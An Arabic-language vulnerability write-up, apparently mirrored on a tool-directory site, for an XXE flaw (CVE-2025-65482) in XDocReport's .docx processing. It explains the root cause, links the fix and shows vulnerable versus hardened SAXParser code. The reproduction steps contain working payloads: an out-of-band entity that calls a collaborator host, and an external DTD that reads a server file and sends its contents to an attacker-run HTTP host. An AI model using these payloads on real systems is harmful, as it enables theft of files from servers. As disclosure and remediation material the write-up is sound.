Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتالأوراق والأبحاثالتعلم والتعليم
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

عرض المستودع
111منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-65482 (XXE)

حقن كيان خارجي XML (XXE) في XDocReport

تعريف الخلل

حقن كيان خارجي XML

نظرة عامة على الثغرة

  • حقن الكيان الخارجي XML (XXE) هو ثغرة في معالجة بيانات بتنسيق XML، حيث يقوم المستخدم بإدراج بيانات XML تشير إلى ملف أو نظام خارجي. يمكن للمهاجم استخدام ثغرة XXE المحددة هذه لمسح الأنظمة الأخرى بحثًا عن منافذ الخدمة المفتوحة، وطلب ملفات سرية، والوصول إلى وظائف الأنظمة المتصلة التي لن تكون متاحة بخلاف ذلك. من هنا، يمكن للمهاجم استخراج البيانات والتفاعل مع الأنظمة والتسبب في انقطاع الخدمة من خلال إدراج XML.

تأثير الأعمال

  • يمكن أن يؤدي XXE إلى ضرر بسمعة الشركة بسبب فقدان ثقة المستخدمين. كما يمكن أن يؤدي إلى سرقة البيانات وخسائر مالية غير مباشرة للشركة من خلال تكاليف الإخطار والمعالجة وبيانات PII المخترقة.

الخطورة عالية

image

الوصف والتأثير

يسمح موقع إدارة الموارد البشرية للمستخدمين بتحميل ملفات وثائق .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق المكتبة fr.opensagres.xdocreport.document.docx التي تحتوي على ثغرة XXE عند معالجة ملف .docx للمستخدم عبر SAXParser.

المكون المتأثر

fr.opensagres.xdocreport.template.docx — XDocReport (الإصدارات =< 2.0.3)

تحليل السبب الجذري

السبب هو استخدام Apache POI

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

أي أن Apache POI موجود في عمق كبير، في الوحدة:

org.apache.poi.xwpf.converter.core

image

يحدث الخطأ لأن XDocReport (في الوحدة fr.opensagres.xdocreport.document.docx) يستخدم Apache POI لقراءة ملفات .docx، و POI يستخدم SAXParser الافتراضي لجافا دون تعطيل الميزات التي تسمح بمعالجة DTD والكيانات الخارجية. → وهذا يسمح للمهاجم بإدراج DOCTYPE يحتوي على كيان يشير إلى الخارج (SYSTEM "http://...") أو إلى ملف داخلي (file:///...) → مما يؤدي إلى XXE.

image

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

خطوات إعادة الإنتاج

  • فك ضغط أي ملف docx
unzip ../vcspentest.docx

image

  • تحرير محتوى ملف document.xml داخل docx
nano word/document.xml

image

قم بتحريره بحمولة outband تمر عبر collabrator كما يلي:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • إعادة الضغط إلى ملف poc
 zip -r ../poc.docx *

image

image

  • تحميل ملف docx المعدل لمعالجته بواسطة xdocreport

image

  • النتيجة: ظهور طلب مرسل إلى collabrator

image

  • رفع التأثير لقراءة الملفات في النظام
  • استضافة ملف dtd على جهاز wsl 172.26.208.130. بمحتوى ملف vcspentest.dtd كما يلي:
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

قم بتحرير ملف word/document.xml داخل ملف .docx بالمحتوى التالي لتحميل dtd خارجي من جهاز wsl:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • ضغط الملف إلى .docx ورفعه إلى الخادم للمعالجة

image

image

  • على جهاز wsl، يظهر طلب مرسل بمحتوى ملف D:/vcspentest.txt على الخادم المستهدف

image

image

الحل

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

في الكود أو في طبقة تهيئة محلل XML، يجب تعطيل جميع الميزات المتعلقة بـ DTD والكيانات الخارجية.

إصلاح مشابه لهذا الكود

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

إعداد بيئة التصحيح

image

  • في ملف Main.java
package org.example;
تنزيل الأداة